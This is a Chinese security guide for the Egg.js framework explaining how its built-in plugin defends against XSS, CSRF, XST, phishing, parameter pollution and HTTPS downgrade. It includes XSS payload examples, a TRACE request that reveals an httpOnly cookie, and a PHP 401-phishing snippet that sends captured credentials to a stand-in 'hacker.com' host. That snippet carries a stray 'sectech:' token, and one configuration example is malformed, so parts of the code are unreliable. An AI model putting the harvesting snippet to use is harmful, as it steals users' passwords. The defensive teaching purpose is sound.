安全

# Web 安全概念

Web 应用中存在很多安全风险,这些风险会被黑客利用,轻则篡改网页内容,重则窃取网站内部数据,更为严重的则是在网页中植入恶意代码,使得用户受到侵害。常见的安全漏洞如下:

  • XSS 攻击:对 Web 页面注入脚本,使用 JavaScript 窃取用户信息,诱导用户操作。
  • CSRF 攻击:伪造用户请求向网站发起恶意请求。
  • 钓鱼攻击:利用网站的跳转链接或者图片制造钓鱼陷阱。
  • HTTP参数污染:利用对参数格式验证的不完善,对服务器进行参数注入攻击。
  • 远程代码执行:用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

而框架本身针对 Web 端常见的安全风险内置了丰富的解决方案:

  • 利用 extend 机制扩展了 Helper API, 提供了各种模板过滤函数,防止钓鱼或 XSS 攻击。
  • 常见 Web 安全头的支持。
  • CSRF 的防御方案。
  • 灵活的安全配置,可以匹配不同的请求 url 。
  • 可定制的白名单,用于安全跳转和 url 过滤。
  • 各种模板相关的工具函数做预处理。

在框架中内置了安全插件 egg-security, 提供了默认的安全实践。

# 开启与关闭配置

注意:除非清楚的确认后果,否则不建议擅自关闭安全插件提供的功能。

框架的安全插件是默认开启的,如果我们想关闭其中一些安全防范,直接设置该项的 enable 属性为 false 即可。例如关闭 xframe 防范:

exports.security = {
xframe: {
enable: false,
},
};

# match 和 ignore

如果只想开启针对某一路径,则配置 match 选项,例如只针对 /example 开启 CSP

exports.security = {
csp: {
match: '/example',
policy: {
//...
},
},
};

如果需要针对某一路径忽略某安全选项,则配置 ignore 选项,例如针对 /example 关闭 xframe,以便合作商户能够嵌入我们的页面:

exports.security = {
csp: {
ignore: '/example',
xframe: {
//...
},
},
};

注意:不能同时存在 match 和 ignore ,否则会报错。

下面我们会针对具体的场景,来讲解如何使用框架提供的安全方案进行 Web 安全防范。

# 安全威胁XSS的防范

XSS(cross-site scripting跨域脚本攻击)攻击是最常见的 Web 攻击,其重点是『跨域』和『客户端执行』。

XSS 攻击一般分为两类:

  • Reflected XSS(反射型的 XSS 攻击)
  • Stored XSS(存储型的 XSS 攻击)

# Reflected XSS

反射型的 XSS 攻击,主要是由于服务端接收到客户端的不安全输入,在客户端触发执行从而发起 Web 攻击。比如:

在某购物网站搜索物品,搜索结果会显示搜索的关键词。搜索关键词填入<script>alert('handsome boy')</script>, 点击搜索。页面没有对关键词进行过滤,这段代码就会直接在页面上执行,弹出 alert。

# 防范方式

框架提供了 helper.escape() 方法对字符串进行 XSS 过滤。

const str = '><script>alert("abc") </script><';
console.log(ctx.helper.escape(str));
// => &gt;&lt;script&gt;alert(&quot;abc&quot;) &lt;/script&gt;&lt;

当网站需要直接输出用户输入的结果时,请务必使用 helper.escape() 包裹起来,如在 egg-view-nunjucks 里面就覆盖掉了内置的 escape

另外一种情况,网站输出的内容会提供给 JavaScript 来使用。这个时候需要使用 helper.sjs() 来进行过滤。

helper.sjs() 用于在 JavaScript(包括 onload 等 event)中输出变量,会对变量中字符进行 JavaScript ENCODE, 将所有非白名单字符转义为 \x 形式,防止 XSS 攻击,也确保在 js 中输出的正确性。使用实例:

const foo = '"hello"';
// 未使用 sjs
console.log(`var foo = "${foo}";`);
// => var foo = ""hello"";
// 使用 sjs
console.log(`var foo = "${this.helper.sjs(foo)}";`);
// => var foo = "\\x22hello\\x22";

还有一种情况,有时候我们需要在 JavaScript 中输出 json ,若未做转义,易被利用为 XSS 漏洞。框架提供了 helper.sjson() 宏做 json encode,会遍历 json 中的 key ,将 value 的值中,所有非白名单字符转义为 \x 形式,防止 XSS 攻击。同时保持 json 结构不变。 若存在模板中输出一个 JSON 字符串给 JavaScript 使用的场景,请使用 helper.sjson(变量名) 进行转义。

处理过程较复杂,性能损耗较大,请仅在必要时使用。

实例:

<script>
window.locals = {{ helper.sjson(locals) }};
</script>

# Stored XSS

基于存储的 XSS 攻击,是通过提交带有恶意脚本的内容存储在服务器上,当其他人看到这些内容时发起 Web 攻击。一般提交的内容都是通过一些富文本编辑器编辑的,很容易插入危险代码。

# 防范方式

框架提供了 helper.shtml() 方法对字符串进行 XSS 过滤。

注意,将富文本(包含 HTML 代码的文本)当成变量直接在模版里面输出时,需要用到 shtml 来处理。 使用 shtml 可以输出 HTML 的 tag,同时执行 XSS 的过滤动作,过滤掉非法的脚本。

由于是一个非常复杂的安全处理过程,对服务器处理性能一定影响,如果不是输出 HTML,请勿使用。

简单示例:

// js
const value = `<a href="http://www.domain.com">google</a><script>evilcode…</script>`;

// 模板
<html>
<body>
{{ helper.shtml(value) }}
</body>
</html>
// => <a href="http://www.domain.com">google</a>&lt;script&gt;evilcode…&lt;/script&gt;

shtml 在 xss 模块基础上增加了针对域名的过滤。

  • 默认规则
  • 自定义过滤项: http://jsxss.com/zh/options.html

例如只支持 a 标签,且除了 title 其他属性都过滤掉: whiteList: {a: ['title']}

options:

  • config.helper.shtml.domainWhiteList: [] 可拓展 href 和 src 中允许的域名白名单。

注意,shtml 使用了严格的白名单机制,除了过滤掉 XSS 风险的字符串外, 在默认规则外的 tag 和 attr 都会被过滤掉。

例如 HTML 标签就不在白名单中,

const html = '<html></html>';
// html
{{ helper.shtml(html) }}
// 输出空

常见的 data-xx 属性由于不在白名单中,所以都会被过滤。

所以,一定要注意 shtml 的适用场景,一般是针对来自用户的富文本输入,切忌滥用,功能既受到限制,又会影响服务端性能。 此类场景一般是论坛、评论系统等,即便是论坛等如果不支持 HTML 内容输入,也不要使用此 Helper,直接使用 escape 即可。

# JSONP XSS

JSONP 的 callback 参数非常危险,他有两种风险可能导致 XSS

1、callback 参数意外截断js代码,特殊字符单引号双引号,换行符均存在风险。

2、callback 参数恶意添加标签(如 <script> ),造成 XSS 漏洞。

参考 JSONP 安全攻防

框架内部使用 jsonp-body 来对 JSONP 请求进行安全防范。

防御内容:

  • callback 函数名词最长 50 个字符限制
  • callback 函数名只允许 [, ], a-zA-Z0123456789_, $, .,防止一般的 XSS,utf-7 XSS等攻击。

可定义配置:

  • callback 默认 _callback,可以重命名。
  • limit - 函数名 length 限制,默认 50。

# 其他 XSS 的防范方式

浏览器自身具有一定针对各种攻击的防范能力,他们一般是通过开启 Web 安全头生效的。框架内置了一些常见的 Web 安全头的支持。

# CSP

W3C 的 Content Security Policy,简称 CSP,主要是用来定义页面可以加载哪些资源,减少 XSS 的发生。

框架内支持 CSP 的配置,不过是默认关闭的,开启后可以有效的防止 XSS 攻击的发生。要配置 CSP , 需要对 CSP 的 policy 策略有了解,具体细节可以参考 CSP 是什么

# X-Download-Options:noopen

默认开启,禁用 IE 下下载框Open按钮,防止 IE 下下载文件默认被打开 XSS。

# X-Content-Type-Options:nosniff

禁用 IE8 自动嗅探 mime 功能例如 text/plain 却当成 text/html 渲染,特别当本站点 serve 的内容未必可信的时候。

# X-XSS-Protection

IE 提供的一些 XSS 检测与防范,默认开启

  • close 默认值false,即设置为 1; mode=block

# 安全威胁 CSRF 的防范

CSRF(Cross-site request forgery跨站请求伪造,也被称为 One Click Attack 或者 Session Riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。 CSRF 攻击会对网站发起恶意伪造的请求,严重影响网站的安全。因此框架内置了 CSRF 防范方案。

# 防范方式

通常来说,对于 CSRF 攻击有一些通用的防范方案,简单的介绍几种常用的防范方案:

  • Synchronizer Tokens:通过响应页面时将 token 渲染到页面上,在 form 表单提交的时候通过隐藏域提交上来。
  • Double Cookie Defense:将 token 设置在 Cookie 中,在提交 post 请求的时候提交 Cookie,并通过 header 或者 body 带上 Cookie 中的 token,服务端进行对比校验。
  • Custom Header:信任带有特定的 header(例如 X-Requested-With: XMLHttpRequest)的请求。这个方案可以被绕过,所以 rails 和 django 等框架都放弃了该防范方式

框架结合了上述几种防范方式,提供了一个可配置的 CSRF 防范策略。

# 使用方式

# 同步表单的 CSRF 校验

在同步渲染页面时,所有的表单请求中增加一个 name 为 _csrf 的隐藏域,值为 ctx.csrf,这样用户在提交这个表单的时候会将 CSRF token 提交上来:

<form method="POST" action="/upload" enctype="multipart/form-data">
title: <input name="title" />
file: <input name="file" type="file" />
<input type="hidden" name="_csrf" value="{{ ctx.csrf }}">
<button type="submit">upload</button>
</form>

CSRF token 也可以通过 url query 传递:

<form method="POST" action="/upload?_csrf={{ ctx.csrf }}" enctype="multipart/form-data">
title: <input name="title" />
file: <input name="file" type="file" />
<button type="submit">upload</button>
</form>

传递 CSRF token 的字段可以在配置中改变:

// config/config.default.js
module.exports = {
security: {
csrf: {
queryName: '_csrf', // 通过 query 传递 CSRF token 的默认字段为 _csrf
bodyName: '_csrf', // 通过 body 传递 CSRF token 的默认字段为 _csrf
},
},
};

为了防范 BREACH 攻击,通过同步方式渲染到页面上的 CSRF token 在每次请求时都会变化,egg-view-nunjucks 等 View 插件会自动对 Form 进行注入,对应用开发者无感知。

# AJAX 请求

在 CSRF 默认配置下,token 会被设置在 Cookie 中,在 AJAX 请求的时候,可以从 Cookie 中取到 token,放置到 query、body 或者 header 中发送给服务端。

In jQuery:

var csrftoken = Cookies.get('csrfToken');
function csrfSafeMethod(method) {
// these HTTP methods do not require CSRF protection
return (/^(GET|HEAD|OPTIONS|TRACE)$/.test(method));
}
$.ajaxSetup({
beforeSend: function(xhr, settings) {
if (!csrfSafeMethod(settings.type) && !this.crossDomain) {
xhr.setRequestHeader('x-csrf-token', csrftoken);
}
},
});

通过 header 传递 CSRF token 的字段也可以在配置中改变:

// config/config.default.js
module.exports = {
security: {
csrf: {
headerName: 'x-csrf-token', // 通过 header 传递 CSRF token 的默认字段为 x-csrf-token
},
},
};

默认配置下,框架会将 CSRF token 存在 Cookie 中,以方便 AJAX 请求获取到。但是所有的子域名都可以设置 Cookie,因此当我们的应用处于无法保证所有的子域名都受控的情况下,存放在 Cookie 中可能有被 CSRF 攻击的风险。框架提供了一个配置项,可以将 token 存放到 Session 中。

// config/config.default.js
module.exports = {
security: {
csrf: {
useSession: true, // 默认为 false,当设置为 true 时,将会把 csrf token 保存到 Session 中
cookieName: 'csrfToken', // Cookie 中的字段名,默认为 csrfToken
sessionName: 'csrfToken', // Session 中的字段名,默认为 csrfToken
},
},
};

# 忽略 JSON 请求

SOP 的安全策略保护下,基本上所有的现代浏览器都不允许跨域发起 content-type 为 JSON 的请求,因此我们可以直接放过类型的 JSON 格式的请求。

// config/config.default.js
module.exports = {
security: {
csrf: {
ignoreJSON: true, // 默认为 false,当设置为 true 时,将会放过所有 content-type 为 `application/json` 的请求
},
},
};

# 刷新 CSRF token

当 CSRF token 存储在 Cookie 中时,一旦在同一个浏览器上发生用户切换,新登陆的用户将会依旧使用旧的 token(之前用户使用的),这会带来一定的安全风险,因此在每次用户登陆的时候都必须刷新 CSRF token

// login controller
exports.login = function* (ctx) {
const { username, password } = ctx.request.body;
const user = yield ctx.service.user.find({ username, password });
if (!user) ctx.throw(403);
ctx.session = { user };
// 调用 rotateCsrfSecret 刷新用户的 CSRF token
ctx.rotateCsrfSecret();
ctx.body = { success: true };
}

# 安全威胁 XST 的防范

XST 的全称是 Cross-Site Tracing,客户端发 TRACE 请求至服务器,如果服务器按照标准实现了 TRACE 响应,则在 response body 里会返回此次请求的完整头信息。通过这种方式,客户端可以获取某些敏感的头字段,例如 httpOnly 的 Cookie。

下面我们基于 Koa 来实现一个简单的支持 TRACE 方法的服务器:

var koa = require('koa');
var app = koa();
app.use(function* (next) {
this.cookies.set('a', 1, { httpOnly: true });
if (this.method === 'TRACE') {
var body = '';
for (header in this.headers) {
body += header + ': ' + this.headers[header] + '\r\n';
}
this.body = body;
}
yield* next;
});
app.listen(7001);

启动服务后,先发个 GET 请求 curl -i http://127.0.0.1:7001,得到如下响应:

HTTP/1.1 200 OK
X-Powered-By: koa
Set-Cookie: a=1; path=/; httponly
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Date: Thu, 06 Nov 2014 05:04:42 GMT
Connection: keep-alive
OK

服务器设置了一个 httpOnly 的 Cookie 为 1,在浏览器环境中,是无法通过脚本获取它的。

接着我们发 TRACE 请求到服务器curl -X TRACE -b a=1 -i http://127.0.0.1:7001,并带上 Cookie,得到如下响应:

HTTP/1.1 200 OK
X-Powered-By: koa
Set-Cookie: a=1; path=/; httponly
Content-Type: text/plain; charset=utf-8
Content-Length: 73
Date: Thu, 06 Nov 2014 05:07:47 GMT
Connection: keep-alive
user-agent: curl/7.37.1
host: 127.0.0.1:7001
accept: */*
cookie: a=1

在响应体里可以看到完整的头信息,这样我们就绕过了 httpOnly 的限制,拿到了cookie=1,造成了很大的风险。

# 拓展阅读

http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html

http://deadliestwebattacks.com/2010/05/18/cross-site-tracing-xst-the-misunderstood-vulnerability/

# 防范方式

框架已经禁止了 trace,track,options 三种危险类型请求。

# 安全威胁 钓鱼攻击 的防范

钓鱼有多种方式,这里介绍 url 钓鱼、图片钓鱼和 iframe 钓鱼。

# url 钓鱼

服务端未对传入的跳转 url 变量进行检查和控制,可能导致可恶意构造任意一个恶意地址,诱导用户跳转到恶意网站。 由于是从可信的站点跳转出去的,用户会比较信任,所以跳转漏洞一般用于钓鱼攻击,通过转到恶意网站欺骗用户输入用户名和密码盗取用户信息,或欺骗用户进行金钱交易; 也可能引发的 XSS 漏洞(主要是跳转常常使用 302 跳转,即设置 HTTP 响应头,Locatioin: url,如果 url 包含了 CRLF,则可能隔断了 HTTP 响应头,使得后面部分落到了 HTTP body,从而导致 XSS 漏洞)。

# 防范方式

  • 若跳转的 url 事先是可以确定的,包括 url 和参数的值,则可以在后台先配置好,url 参数只需传对应 url 的索引即可,通过索引找到对应具体 url 再进行跳转;
  • 若跳转的 url 事先不确定,但其输入是由后台生成的(不是用户通过参数传人),则可以先生成好跳转链接然后进行签名;
  • 若 1 和 2 都不满足,url 事先无法确定,只能通过前端参数传入,则必须在跳转的时候对 url 进行按规则校验:判断 url 是否在应用授权的白名单内。

框架提供了安全跳转的方法,可以通过配置白名单避免这种风险。

  • ctx.redirect(url) 如果不在配置的白名单内,则禁止。
  • ctx.unsafeRedirect(url) 一般不建议使用,明确了解可能带来的风险后使用。

安全方案覆盖了默认的ctx.redirect方法,所有的跳转均会经过安全域名的判断。

用户如果使用ctx.redirect方法,需要在应用的配置文件中做如下配置:

// config/config.default.js
exports.security = {
domainWhiteList:['.domain.com'], // 安全白名单,以 . 开头
};

若用户没有配置 domainWhiteList 或者 domainWhiteList数组内为空,则默认会对所有跳转请求放行,即等同于ctx.unsafeRedirect(url)

# 图片钓鱼

如果可以允许用户向网页里插入未经验证的外链图片,这有可能出现钓鱼风险。

比如常见的 401钓鱼, 攻击者在访问页面时,页面弹出验证页面让用户输入帐号及密码,当用户输入之后,帐号及密码就存储到了黑客的服务器中。 通常这种情况会出现在<img src=$url />中,系统不对$url是否在域名白名单哪进行校验。

攻击者可以在自己的服务器中构造以下代码:

401.php:作用为弹出 401 窗口,并且记录用户信息。

<?php
header('WWW-Authenticate: Basic realm="No authorization"');
header('HTTP/1.1 401 Unauthorized');
$domain = "http://hacker.com/fishing/";
if ($_SERVER[sectech:'PHP_AUTH_USER'] !== null){
header("Location: ".$domain."record.php?a=".$_SERVER[sectech:'PHP_AUTH_USER']."&b=".$_SERVER[sectech:'PHP_AUTH_PW']);
}
?>

之后攻击者生成一个图片链接<img src="http://xxx.xxx.xxx/fishing/401.php?a.jpg//" />

当用户访问时,会弹出信息让用户点击,用户输入的用户名及密码会被黑客的服务器偷偷记录。

# 防范方式

框架提供了 .surl() 宏做 url 过滤。

用于在 html 标签中中要解析 url 的地方(比如 <a href=""/><img src=""/>),其他地方不允许使用。

对模板中要输出的变量,加 helper.surl($value)

注意:在需要解析 url 的地方,surl 外面一定要加上双引号,否则就会导致XSS漏洞。

不使用 surl

<a href="$value" />

output:

<a href="http://ww.safe.com<script>" />

使用 surl

<a href="helper.surl($value)" />

output:

<a href="http://ww.safe.com&lt;script&gt;" />

# iframe 钓鱼

iframe 钓鱼,通过内嵌 iframe 到被攻击的网页中,攻击者可以引导用户去点击 iframe 指向的危险网站,甚至遮盖,影响网站的正常功能,劫持用户的点击操作。

框架提供了 X-Frame-Options 这个安全头来防止 iframe 钓鱼。默认值为 SAMEORIGIN,只允许同域把本页面当作 iframe 嵌入。

当需要嵌入一些可信的第三方网页时,可以关闭这个配置。

# 安全威胁 HPP 的防范

Http Parameter Pollution(HPP),即 HTTP 参数污染攻击。在HTTP协议中是允许同样名称的参数出现多次,而由于应用的实现不规范,攻击者通过传播参数的时候传输 key 相同而 value 不同的参数,从而达到绕过某些防护的后果。

HPP 可能导致的安全威胁有:

  • 绕过防护和参数校验。
  • 产生逻辑漏洞和报错,影响应用代码执行。

# 拓展阅读

  • https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)
  • http://blog.csdn.net/eatmilkboy/article/details/6761407
  • https://media.blackhat.com/bh-us-11/Balduzzi/BH_US_11_Balduzzi_HPP_WP.pdf
  • ebay 因参数污染存在 RCE(远程命令执行)漏洞:http://secalert.net/2013/12/13/ebay-remote-code-execution/

# 如何防范

框架本身会在客户端传输 key 相同而 value 不同的参数时,强制使用第一个参数,因此不会导致 hpp 攻击。

# 中间人攻击与 HTTP / HTTPS

HTTP 是网络应用广泛使用的协议,负责 Web 内容的请求和获取。然而,内容请求和获取时会经过许多中间人,主要是网络环节,充当内容入口的浏览器、路由器厂商、WIFI提供商、通信运营商,如果使用了代理、翻墙软件则会引入更多中间人。由于 HTTP 请求的路径、参数默认情况下均是明文的,因此这些中间人可以对 HTTP 请求进行监控、劫持、阻挡。

在没有 HTTPS 时,运营商可在用户发起请求时直接跳转到某个广告,或者直接改变搜索结果插入自家的广告。如果劫持代码出现了 BUG ,则直接让用户无法使用,出现白屏。

数据泄露、请求劫持、内容篡改等等问题,核心原因就在于 HTTP 是全裸式的明文请求,域名、路径和参数都被中间人们看得一清二楚。HTTPS 做的就是给请求加密,让其对用户更加安全。对于自身而言除了保障用户利益外,还可避免本属于自己的流量被挟持,以保护自身利益。

尽管 HTTPS 并非绝对安全,掌握根证书的机构、掌握加密算法的组织同样可以进行中间人形式的攻击。不过HTTPS是现行架构下最安全的解决方案,并且它大幅增加了中间人攻击的成本。

因此,请各位使用 Egg 框架开发网站的开发者,务必推动自己的网站升级到 HTTPS。

对于 HTTPS 来讲,还有一点要注意的是 HTTP 严格传输安全(HSTS),如果不使用 HSTS,当用户在浏览器中输入网址时没有加 HTTPS,浏览器会默认使用 HTTP 访问

框架提供了 hsts Strict-Transport-Security 这个头的默认开启。让 HTTPS 站点不跳转到 HTTP,如果站点支持 HTTPS,请一定要开启。

如果我们的Webb 站点是 http 站点,需要关闭这个头。配置如下:

  • maxAge 默认一年 365 * 24 * 3600
  • includeSubdomains 默认 false, 可以添加子域名,保证所有子域名都使用 HTTPS 访问。

# 其他安全工具

# ctx.isSafeDomain(domain)

是否为安全域名。安全域名在配置中配置,见 ctx.redirect 部分。

# app.injectCsrf(str)

这个函数提供了模板预处理-自动插入 CSRF key 的能力,可以自动在所有的 form 标签中插入 CSRF 隐藏域,用户就不需要手动写了。

# app.injectNonce(str)

这个函数提供了模板预处理-自动插入 nonce 的能力,如果网站开启了 CSP 安全头,并且想使用 CSP 2.0 nonce 特性,可以使用这个函数。参考 CSP 是什么

这个函数会扫描模板中的 script 标签,并自动加上 nonce 头。

# app.injectHijackingDefense(str)

对于没有开启 HTTPS 的网站,这个函数可以有限的防止运营商劫持。